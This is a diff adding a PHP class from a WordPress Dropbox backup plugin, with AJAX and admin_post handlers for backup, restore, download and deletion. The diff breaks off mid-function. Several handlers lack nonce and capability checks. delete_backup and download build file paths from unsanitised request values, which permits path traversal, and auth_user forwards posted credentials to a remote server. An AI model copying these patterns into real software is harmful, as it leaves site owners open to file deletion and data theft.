 
 
 
 
 
1
+ <?php
2
+ if(@session_id() == '') {
3
+ @session_start();
4
+ }
5
+
6
+ require_once DRBBACKUP_BASE_DIR . "/libs/error.class.php";
7
+ require_once DRBBACKUP_BASE_DIR . "/libs/wpadm.server.main.class.php";
8
+ if (! class_exists("wpadm_wp_full_backup_dropbox") ) {
9
+
10
+ add_action('wp_ajax_wpadm_local_restore', array('wpadm_wp_full_backup_dropbox', 'restore_backup') );
11
+ add_action('wp_ajax_wpadm_restore_dropbox', array('wpadm_wp_full_backup_dropbox', 'wpadm_restore_dropbox') );
12
+ add_action('wp_ajax_wpadm_logs', array('wpadm_wp_full_backup_dropbox', 'getLog') );
13
+ add_action('wp_ajax_wpadm_local_backup', array('wpadm_wp_full_backup_dropbox', 'local_backup') );
14
+ add_action('wp_ajax_wpadm_dropbox_create', array('wpadm_wp_full_backup_dropbox', 'dropbox_backup_create') );
15
+ add_action('wp_ajax_set_user_mail', array('wpadm_wp_full_backup_dropbox', 'setUserMail') );
16
+ add_action('wp_ajax_stop_backup', array('wpadm_wp_full_backup_dropbox', 'stopBackup') );
17
+ add_action('wp_ajax_saveSetting', array('wpadm_wp_full_backup_dropbox', 'saveSetting') );
18
+
19
+
20
+ add_action('admin_post_wpadm_delete_backup', array('wpadm_wp_full_backup_dropbox', 'delete_backup') );
21
+ add_action('admin_post_dropboxConnect', array('wpadm_wp_full_backup_dropbox', 'dropboxConnect') );
22
+
23
+ add_action('admin_post_login-process', array('wpadm_wp_full_backup_dropbox', 'auth_user') );
24
+
25
+ add_action('admin_post_wpadm_download', array('wpadm_wp_full_backup_dropbox', 'download') );
26
+ add_action('init', array('wpadm_wp_full_backup_dropbox', 'init'), 10 );
27
+
28
+ add_action('admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice'));
29
+ add_action('admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice_stars'));
30
+ add_action('admin_post_hide_notice', array('wpadm_wp_full_backup_dropbox', 'hide_notice') );
31
+ add_action( 'admin_bar_menu', array('wpadm_wp_full_backup_dropbox', 'add_link_to_admin_bar') ,999 );
32
+
33
+ @set_time_limit(0);
34
+
35
+ class wpadm_wp_full_backup_dropbox extends wpadm_class {
36
+
37
+ private static $default_optimization = 1;
38
+
39
+ const MIN_PASSWORD = 6;
40
+
41
+ static function stopBackup()
42
+ {
43
+ WPAdm_Running::init_params_default();
44
+ }
45
+
46
+ static function add_link_to_admin_bar($wp_admin_bar)
47
+ {
48
+ $show = true;
49
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
50
+ if ($dropbox_options) {
51
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
52
+ }
53
+ if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
54
+ if (!is_admin() || !is_super_admin()) {
55
+ $show = false;
56
+ }
57
+ }
58
+ if ($show) {
59
+ $wp_admin_bar->add_node( array(
60
+ 'id' => 'dropbox-backup',
61
+ 'title' => 'Dropbox backup',
62
+ 'href' => esc_url( admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") ),
63
+ 'meta' => array('class' => 'dropbox-image-toolbar')
64
+ ));
65
+ }
66
+
67
+ }
68
+
69
+ public static function notice_stars()
70
+ {
71
+ if ( file_exists(WPAdm_Core::getTmpDir() . "/notice-star") ) {
72
+ $star = file_get_contents(WPAdm_Core::getTmpDir() . "/notice-star");
73
+ if ($star != 0) {
74
+ $d = explode("_", $star);
75
+ $time = $hide = '';
76
+ if (isset($d[1])) {
77
+ if ($d[1] == '1d' && ( (int)$d[0] + WPADM_1DAY ) <= time() ) {
78
+ $time = langWPADM::get("1 day", false);
79
+ $hide = '1d';
80
+ } elseif ($d[1] == 'w' && ( (int)$d[0] + WPADM_1WEEK ) <= time() ) {
81
+ $time = langWPADM::get("1 week", false);
82
+ $hide = 'week';
83
+ }
84
+ }
85
+ if (!empty($time) && !empty($hide) && file_exists(DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice5.php")) {
86
+ ob_start();
87
+ require_once DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice5.php";
88
+ echo ob_get_clean();
89
+ }
90
+ }
91
+ }
92
+ }
93
+
94
+ public static function setFlagToTmp($flag = '', $data = false)
95
+ {
96
+ if ( !empty($flag) ) {
97
+ if (!class_exists('WPAdm_Core')) {
98
+ require_once DRBBACKUP_BASE_DIR . "/libs/class-wpadm-core.php" ;
99
+ WPAdm_Core::$pl_dir = DRBBACKUP_BASE_DIR;
100
+ }
101
+ file_put_contents( WPAdm_Core::getTmpDir() . "/$flag" , $data );
102
+ }
103
+ }
104
+
105
+ public static function auth_user()
106
+ {
107
+ if (isset($_POST['username']) && $_POST['password']) {
108
+ if(!function_exists("wp_safe_remote_post")) {
109
+ include ABSPATH . "/http.php";
110
+ }
111
+ $res = wp_safe_remote_post(SERVER_URL_INDEX, array('username' => $_POST['username'], 'password' => $_POST['password'], 'plugin' => 'dropbox-backup'));
112
+ if (!Empty($res['body'])) {
113
+ $data_res = json_decode($res['body']);
114
+ if (isset($data_res['url'])) {
115
+ header("Location: " . $data_res['url']);
116
+ exit;
117
+ }
118
+ }
119
+ }
120
+ header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") );
121
+ exit;
122
+ }
123
+
124
+ public static function init()
125
+ {
126
+ parent::$plugin_name = 'dropbox-backup';
127
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
128
+ WPAdm_Core::$pl_dir = DRBBACKUP_BASE_DIR ;
129
+ }
130
+
131
+ static function include_admins_script()
132
+ {
133
+ if (isset($_GET['page']) && ($_GET['page'] == 'wpadm_wp_full_backup_dropbox' || $_GET['page'] == 'wpadm_plugins') ) {
134
+ wp_enqueue_style('admin-wpadm', plugins_url( "/template/css/admin-style-wpadm.css", dirname( __FILE__ )) );
135
+ wp_enqueue_script( 'js-admin-wpadm', plugins_url( "/template/js/admin-wpadm.js", dirname( __FILE__ ) ) );
136
+ wp_enqueue_script( 'postbox' );
137
+ }
138
+ wp_enqueue_style('css-admin-wpadm-toolbar', plugins_url( "/template/css/tool-bar.css", dirname( __FILE__ )) );
139
+ }
140
+
141
+ public static function setUserMail()
142
+ {
143
+ if (isset($_POST['email'])) {
144
+ $email = trim($_POST['email']);
145
+ $mail = get_option(PREFIX_BACKUP_ . "email");
146
+ if ($mail) {
147
+ add_option(PREFIX_BACKUP_ . "email", $email);
148
+ } else {
149
+ update_option(PREFIX_BACKUP_ . "email",$email);
150
+ }
151
+ }
152
+ echo 'true';
153
+ wp_die();
154
+ }
155
+ public static function saveSetting()
156
+ {
157
+ if (isset($_POST['is_admin']) || isset($_POST['is_optimization'])) {
158
+
159
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
160
+ if ($dropbox_options) {
161
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
162
+ }
163
+ if (isset($_POST['is_admin'])) {
164
+ $dropbox_options['is_admin'] = (int) $_POST['is_admin'];
165
+ }
166
+ if (isset($_POST['is_optimization'])) {
167
+ $dropbox_options['is_optimization'] = (int) $_POST['is_optimization'];
168
+ }
169
+ update_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode( serialize( $dropbox_options ) ) );
170
+ }
171
+ }
172
+
173
+ public static function getSettings()
174
+ {
175
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
176
+ if ($dropbox_options) {
177
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
178
+ } else {
179
+ $dropbox_options = array();
180
+ }
181
+ return $dropbox_options;
182
+ }
183
+
184
+ public static function local_backup()
185
+ {
186
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
187
+ @session_write_close();
188
+ parent::$type = 'full';
189
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
190
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
191
+ }
192
+ if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
193
+ file_put_contents(WPAdm_Core::getTmpDir() . "/log.log", '');
194
+ }
195
+ WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
196
+ WPAdm_Running::init_params_default();
197
+ if ( WPAdm_Core::dir_writeble(DROPBOX_BACKUP_DIR_BACKUP)) {
198
+ WPAdm_Running::delCommandResultData("local_backup");
199
+ $dropbox_options = self::getSettings();
200
+ $optimization = (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 1 : 0;
201
+ $backup = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => $optimization, 'limit' => 0, 'time' => @$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
202
+ if (WPAdm_Core::$cron === false) {
203
+ $res = $backup->getResult()->toArray();
204
+ $res['md5_data'] = md5( print_r($res, 1) );
205
+ $res['name'] = $backup->name;
206
+ $res['time'] = $backup->time;
207
+ $res['type'] = 'local';
208
+ $res['counts'] = count($res['data']);
209
+ } else {
210
+ $res['result'] = 'work';
211
+ $res['error'] = '';
212
+ $res['data'] = array();
213
+ $res['size'] = 0;
214
+ }
215
+ } else {
216
+ $res['result'] = 'error';
217
+ $res['error'] = langWPADM::get('Website "%domain" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir-backup".', false, array('%domain', '%dir-backup'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP) );
218
+ $res['data'] = array();
219
+ $res['size'] = 0;
220
+ }
221
+
222
+ @session_start();
223
+ echo json_encode($res);
224
+ wp_die();
225
+
226
+ }
227
+ public static function getLog()
228
+ {
229
+ @session_write_close();
230
+ @session_start();
231
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
232
+ $backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
233
+ $log = WPAdm_Core::getLog();
234
+ $log2 = WPAdm_Core::getTmpDir() . "/logs2";
235
+ if (file_exists($log2)) {
236
+ $text = @file_get_contents($log2);
237
+ file_put_contents($log2, $log);
238
+ $log = str_replace($text, "", $log);
239
+ } else {
240
+ file_put_contents($log2, $log);
241
+ }
242
+ $log = explode("\n", $log);
243
+ krsort($log);
244
+ $log_array = array('log' => $log );
245
+ $data_result = WPAdm_Running::getCommandResultData($_POST['type-backup']);
246
+ if (!empty($data_result)) {
247
+ $log_array['data'] = $data_result;
248
+ }
249
+ echo json_encode( $log_array );
250
+ exit;
251
+ }
252
+ public static function restore_backup()
253
+ {
254
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
255
+ @session_write_close();
256
+ parent::$type = 'full';
257
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
258
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
259
+ }
260
+ $name_backup = isset($_POST['name']) ? trim($_POST['name']) : "";
261
+ $backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
262
+ $res = $backup->getResult()->toArray();
263
+ @session_start();
264
+ echo json_encode($res);
265
+ wp_die();
266
+ }
267
+ public static function wpadm_restore_dropbox()
268
+ {
269
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
270
+ @session_write_close();
271
+ $log_class = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
272
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
273
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
274
+ }
275
+ if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
276
+ @unlink(WPAdm_Core::getTmpDir() . "/log.log");
277
+ }
278
+ WPAdm_Core::log( langWPADM::get('Start Restore from Dropbox cloud' , false) );
279
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
280
+ if ($dropbox_options) {
281
+ require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
282
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
283
+ $folder_project = self::getNameProject();
284
+ $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
285
+ if ($dropbox->isAuth()) {
286
+ WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
287
+ $name_backup = isset($_POST['name']) ? trim($_POST['name']) : "";
288
+ $dir_backup = DROPBOX_BACKUP_DIR_BACKUP . "/$name_backup";
289
+ $error = WPAdm_Core::mkdir($dir_backup);
290
+ if (!empty($error)) {
291
+ WPAdm_Core::log($error);
292
+ $res['result'] = WPAdm_Result::WPADM_RESULT_ERROR;
293
+ $res['error'] = $error;
294
+ $res['data'] = array();
295
+ $res['size'] = 0;
296
+
297
+ } else {
298
+ $files = $dropbox->listing("$folder_project/$name_backup");
299
+ if (isset($files['items'])) {
300
+ $n = count($files['items']);
301
+ for($i = 0; $i < $n; $i++) {
302
+ $res = $dropbox->downloadFile("$folder_project/$name_backup/{$files['items'][$i]['name']}", "$dir_backup/{$files['items'][$i]['name']}");
303
+ if ($res != "$dir_backup/{$files['items'][$i]['name']}" && isset($res['text'])) {
304
+ WPAdm_Core::log(langWPADM::get('Error: ' , false) . $res['text'] );
305
+ } else {
306
+ $log = str_replace('%s', $files['items'][$i]['name'], langWPADM::get('Download file (%s) with Dropbox' , false) );
307
+ WPAdm_Core::log($log);
308
+ }
309
+ }
310
+ parent::$type = 'full';
311
+ $backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
312
+ $res = $backup->getResult()->toArray();
313
+ WPAdm_Core::rmdir($dir_backup);
314
+ }
315
+ }
316
+ } else {
317
+ WPAdm_Core::log( langWPADM::get('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"' , false,
318
+ array('%d', '%k', '%s'),
319
+ array( SITE_HOME, $dropbox_options['app_key'], $dropbox_options['app_secret'] ) ) );
320
+ }
321
+ } else {
322
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
323
+ }
324
+ @session_start();
325
+ echo json_encode($res);
326
+ wp_die();
327
+ }
328
+ public static function download()
329
+ {
330
+ if (isset($_REQUEST['backup'])) {
331
+ require_once DRBBACKUP_BASE_DIR . "/class-wpadm-core.php";
332
+ require_once DRBBACKUP_BASE_DIR . '/modules/pclzip.lib.php';
333
+ $backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
334
+ $filename = $_REQUEST['backup'] . ".zip";
335
+ $file = WPAdm_Core::getTmpDir() . "/" . $filename;
336
+ if (file_exists($file)) {
337
+ @unlink($file);
338
+ }
339
+ $archive = new PclZip($file);
340
+ $dir_backup = DROPBOX_BACKUP_DIR_BACKUP . '/' . $_REQUEST['backup'];
341
+
342
+ $backups = array('data' => array(), 'md5' => '');
343
+ if (is_dir($dir_backup)) {
344
+ $i = 0;
345
+ $dir_open = opendir($dir_backup);
346
+ while($d = readdir($dir_open)) {
347
+ if ($d != '.' && $d != '..' && file_exists($dir_backup . "/$d") && substr($d, -3) != "php") {
348
+ $archive->add($dir_backup . "/$d", PCLZIP_OPT_REMOVE_PATH, DROPBOX_BACKUP_DIR_BACKUP );
349
+ }
350
+ }
351
+ }
352
+
353
+
354
+ $now = gmdate("D, d M Y H:i:s");
355
+ header("Expires: Tue, 03 Jul 2001 06:00:00 GMT");
356
+ header("Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate");
357
+ header("Last-Modified: {$now} GMT");
358
+
359
+ // force download
360
+ header("Content-Type: application/force-download");
361
+ header("Content-Type: application/octet-stream");
362
+ header("Content-Type: application/download");
363
+
364
+ // disposition / encoding on response body
365
+ header("Content-Disposition: attachment;filename={$filename}");
366
+ header("Content-Transfer-Encoding: binary");
367
+
368
+ ob_start();
369
+ $df = fopen("php://output", 'w');
370
+ echo file_get_contents($file);
371
+ fclose($df);
372
+ echo ob_get_clean();
373
+ @unlink($file);
374
+ exit;
375
+ }
376
+ }
377
+
378
+ public static function delete_backup()
379
+ {
380
+ if (isset($_POST['backup-type']) ) {
381
+ if ($_POST['backup-type'] == 'local') {
382
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
383
+ $dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $_POST['backup-name'] ;
384
+ $delete = false;
385
+ if (is_dir($dir)) {
386
+ WPAdm_Core::rmdir($dir);
387
+ $delete = true;
388
+ }
389
+ $dir = ABSPATH . WPADM_DIR_NAME . '/' . $_POST['backup-name'] ;
390
+ if (is_dir($dir)) {
391
+ WPAdm_Core::rmdir($dir);
392
+ $delete = true;
393
+ }
394
+ $dir = WPADM_DIR_BACKUP . '/' . $_POST['backup-name'] ;
395
+ if (is_dir($dir)) {
396
+ WPAdm_Core::rmdir($dir);
397
+ $delete = true;
398
+ }
399
+ if ($delete) {
400
+ parent::setMessage( str_replace('%s', $_POST['backup-name'], langWPADM::get('Backup(%s) was deleted', false) ) );
401
+ }
402
+ } elseif ($_POST['backup-type'] == 'dropbox') {
403
+ require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
404
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
405
+ if ($dropbox_options) {
406
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
407
+ $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
408
+ $folder_project = self::getNameProject();
409
+ $res = $dropbox->deleteFile("$folder_project/{$_POST['backup-name']}");
410
+ if ($res['is_deleted'] === true) {
411
+ parent::setMessage( str_replace('%s', $_POST['backup-name'], langWPADM::get('Backup(%s) was deleted', false) ) );
412
+ }
413
+ }
414
+ }
415
+ }
416
+ header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"));
417
+ }
418
+
419
+ protected static function getPluginName()
420
+ {
421
+
422
+ preg_match("|wpadm_wp_(.*)|", __CLASS__, $m);
423
+ return $m[1];
424
+ }
425
+ protected static function getPathPlugin()
426
+ {
427
+ return "wpadm_full_backup_dropbox";
428
+ }
429
+
430
+ public static function dropboxConnect()
431
+ {
432
+ require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
433
+ if (isset($_GET['app_key']) && isset($_GET['app_secret'])) {
434
+ if (empty($_GET['app_key']) && empty($_GET['app_secret'])) {
435
+ $_GET['app_key'] = WPADM_APP_KEY;
436
+ $_GET['app_secret'] = WPADM_APP_SECRET;
437
+ }
438
+ $dropbox = new dropbox($_GET['app_key'], $_GET['app_secret']);
439
+ $_SESSION['dropbox_key'] = $_GET['app_key'];
440
+ $_SESSION['dropbox_secret'] = $_GET['app_secret'];
441
+ $_SESSION['dropbox_request_token'] = $dropbox->getRequestToken();
442
+ echo '<script>window.location.href="' . $dropbox->generateAuthUrl( admin_url('admin-post.php?action=dropboxConnect') ) . '";</script>';
443
+ } elseif (isset($_GET['oauth_token']) && isset($_GET['uid'])) {
444
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
445
+ if ($dropbox_options) {
446
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
447
+ } else {
448
+ $dropbox_options = array();
449
+ add_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode(serialize( $dropbox_options ) ) );
450
+ }
451
+ $dropbox = new dropbox(@$_SESSION['dropbox_key'], @$_SESSION['dropbox_secret']);
452
+ $access_token = $dropbox->getAccessToken($_SESSION['dropbox_request_token']);
453
+ $dropbox_options['app_key'] = @$_SESSION['dropbox_key'] ;
454
+ $dropbox_options['app_secret'] = @$_SESSION['dropbox_secret'] ;
455
+ $dropbox_options['auth_token_secret'] = $access_token;
456
+ $dropbox_options['oauth_token'] = @$_GET['oauth_token'] ;
457
+ $dropbox_options['uid'] = @$_GET['uid'] ;
458
+ update_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode( serialize( $dropbox_options ) ) );
459
+ echo '<script>
460
+ if(window.opener){
461
+ window.opener.connectDropbox(null, null, "'.htmlspecialchars($access_token['oauth_token_secret']).'", "'.htmlspecialchars($access_token['oauth_token']).'", "'.htmlspecialchars($access_token['uid']).'");window.close();
462
+ }else{
463
+ window.location.href="' . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") . '";
464
+ }
465
+ </script>';
466
+ echo '<script>window.close();</script>';exit;
467
+ } elseif (isset($_GET['not_approved'])) {
468
+ if( $_GET['not_approved'] == 'true' ){
469
+ echo '<script>window.close();</script>';exit;
470
+ }
471
+ } else {
472
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' , true, '%d', SITE_HOME) );
473
+ }
474
+ exit;
475
+ }
476
+
477
+ public static function dropbox_backup_create()
478
+ {
479
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
480
+ @session_write_close();
481
+
482
+ $log = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
483
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
484
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
485
+ }
486
+ if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
487
+ file_put_contents(WPAdm_Core::getTmpDir() . "/log.log", '');
488
+ }
489
+ if ( WPAdm_Core::dir_writeble(DROPBOX_BACKUP_DIR_BACKUP) && !file_exists(WPAdm_Core::getTmpDir() . "/create-backup") ) {
490
+ file_put_contents(WPAdm_Core::getTmpDir() . "/create-backup", 1);
491
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
492
+ $send_to_dropbox = true;
493
+ if ($dropbox_options) {
494
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
495
+ if (!isset($dropbox_options['app_key'])) {
496
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "App Key" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
497
+ $send_to_dropbox = false;
498
+ }
499
+ if (!isset($dropbox_options['app_secret'])) {
500
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "App Secret" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
501
+ $send_to_dropbox = false;
502
+ }
503
+ if (!isset($dropbox_options['oauth_token'])) {
504
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during file sending to Dropbox: "Auth Token not exist. Files cannot be sent to Dropbox cloud. Please, check your Dropbox settings."' , false, '%d', SITE_HOME) );
505
+ $send_to_dropbox = false;
506
+ }
507
+ } else {
508
+ WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
509
+ $res['type'] = 'local';
510
+ $send_to_dropbox = false;
511
+ }
512
+
513
+ if ($send_to_dropbox) {
514
+ parent::$type = 'full';
515
+ WPAdm_Running::init_params_default();
516
+ WPAdm_Running::delCommandResultData("local_backup");
517
+ $dropbox_options = self::getSettings();
518
+ $optimization = (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 1 : 0;
519
+ $backup_local = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => $optimization, 'limit' => 0, 'time' => @$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
520
+ $res = array();
521
+ if (WPAdm_Core::$cron === false) {
522
+ $res = $backup->getResult()->toArray();
523
+ $res['md5_data'] = md5( print_r($res, 1) );
524
+ $res['name'] = $backup->name;
525
+ $res['time'] = $backup->time;
526
+ $res['type'] = 'dropbox';
527
+ $res['counts'] = count($res['data']);
528
+ }
529
+ unset($backup_local);
530
+ $folder_project = self::getNameProject();
531
+ WPAdm_Running::delCommandResultData("send-to-dropbox");
532
+ $backup = new WPAdm_Core(array('method' => "send-to-dropbox",
533
+ 'params' => array('files' => isset($res['data']) ? $res['data'] : '',
534
+ 'local' => true,
535
+ 'access_details' => array('key' => $dropbox_options['app_key'],
536
+ 'secret' => $dropbox_options['app_secret'],
537
+ 'token' => $dropbox_options['auth_token_secret'],
538
+ 'dir' => isset($res['name']) ? $res['name'] : '',
539
+ 'folder' => $folder_project),
540
+ )
541
+ ),
542
+ 'full_backup_dropbox', WPAdm_Core::$pl_dir) ;
543
+ if (WPAdm_Core::$cron === false) {
544
+ $result_send = $backup->getResult()->toArray();
545
+ if ($result_send['result'] == 'error') {
546
+ $res = array();
547
+ $res['error'] = $result_send['error'];
548
+ $res['result'] = 'error';
549
+ @rename(WPAdm_Core::getTmpDir() . "/logs2", WPAdm_Core::getTmpDir() . "/logs_error_" . $backup_local->time);
550
+ }
551
+ WPAdm_Core::rmdir( DROPBOX_BACKUP_DIR_BACKUP . "/{$res['name']}");
552
+ } else {
553
+ $res['result'] = 'work';
554
+ $res['error'] = '';
555
+ $res['data'] = array();
556
+ $res['size'] = 0;
557
+ }
558
+ if (file_exists(WPAdm_Core::getTmpDir() . "/create-backup")) {
559
+ @unlink( WPAdm_Core::getTmpDir() . "/create-backup" );
560
+ }
561
+ }
562
+ } else {
563
+ $res['result'] = 'error';
564
+ $res['error'] = langWPADM::get('Website "%domain" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir-backup".', false, array('%domain', '%dir-backup'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP) );
565
+ $res['data'] = array();
566
+ $res['size'] = 0;
567
+ }
568
+ @session_start();
569
+ echo json_encode($res);
570
+ wp_die();
571
+ }
572
+ public static function getNameProject()
573
+ {
574
+ $folder_project = str_ireplace( array("http://", "https://"), '', home_url() );
575
+ $folder_project = str_ireplace( array( "-", '/', '.'), '_', $folder_project );
576
+ return $folder_project;
577
+ }
578
+
579
+
580
+ public static function wpadm_show_backup()
581
+ {
582
+
583
+ require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
584
+ parent::$type = 'full';
585
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
586
+ if ($dropbox_options) {
587
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
588
+ if (isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && isset($dropbox_options['auth_token_secret'])) {
589
+ $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
590
+ $folder_project = self::getNameProject();
591
+ $backups = $dropbox->listing($folder_project);
592
+ $n = count($backups['items']);
593
+ $data['data'] = array();
594
+ for($i = 0; $i < $n; $i++) {
595
+ $backup = $dropbox->listing($folder_project . "/" . $backups['items'][$i]['name']);
596
+ $data['data'][$i]['name'] = $backups['items'][$i]['name'];
597
+ $data['data'][$i]['size'] = (float)$backup['size'] * 1024 * 1024;
598
+ $data['data'][$i]['dt'] = parent::getDateInName($backups['items'][$i]['name']);
599
+ $data['data'][$i]['count'] = count($backup['items']);
600
+ $data['data'][$i]['type'] = 'dropbox';
601
+ $k = $data['data'][$i]['count'];
602
+ $data['data'][$i]['files'] = '[';
603
+ for($j = 0; $j < $k; $j++) {
604
+ $data['data'][$i]['files'] .= $backup['items'][$j]['name'] . ',';
605
+ }
606
+ }
607
+ }
608
+ }
609
+ if (isset($_GET['pay']) && $_GET['pay'] == 'success') {
610
+ if (!file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
611
+ file_put_contents(WPAdm_Core::getTmpDir() . "/pay_success", 1);
612
+ parent::setMessage( langWPADM::get('', false) );
613
+ }
614
+ }
615
+ if (isset($_GET['pay']) && $_GET['pay'] == 'cancel') {
616
+ parent::setError( langWPADM::get('Checkout was canceled', false) );
617
+ }
618
+ $data_local = parent::read_backups();
619
+ if (isset($data['data'])) {
620
+ $data['data'] = array_merge($data_local['data'], $data['data']);
621
+ $data['md5'] = md5( print_r( $data['data'] , 1 ) );
622
+ } else {
623
+ $data = $data_local;
624
+ }
625
+ if (file_exists(WPAdm_Core::getTmpDir() . "/pay_success")) {
626
+ $plugin_info = get_plugins("/" . parent::$plugin_name);
627
+ $plugin_version = (isset($plugin_info[parent::$plugin_name . '.php']['Version']) ? $plugin_info[parent::$plugin_name . '.php']['Version'] : '');
628
+ $data_server = parent::sendToServer(
629
+ array(
630
+ 'actApi' => "proBackupCheck",
631
+ 'site' => home_url(),
632
+ 'email' => get_option('admin_email'),
633
+ 'plugin' => parent::$plugin_name,
634
+ 'key' => '',
635
+ 'plugin_version' => $plugin_version
636
+ )
637
+ );
638
+ if (isset($data_server['status']) && $data_server['status'] == 'success' && isset($data_server['key'])) {
639
+ update_option(PREFIX_BACKUP_ . 'pro-key', $data_server['key']);
640
+ if (isset($data_server['url']) && !empty($data_server['url'])) {
641
+ parent::setMessage( str_replace('&s', $data_server['url'], langWPADM::get('The "Dropbox backup & restore PRO" version can be downloaded here <a href="&s">download</a>', false) ) );
642
+ }
643
+ }
644
+ }
645
+ if ( ! function_exists( 'get_plugins' ) ) {
646
+ require_once ABSPATH . 'wp-admin/includes/plugin.php';
647
+ }
648
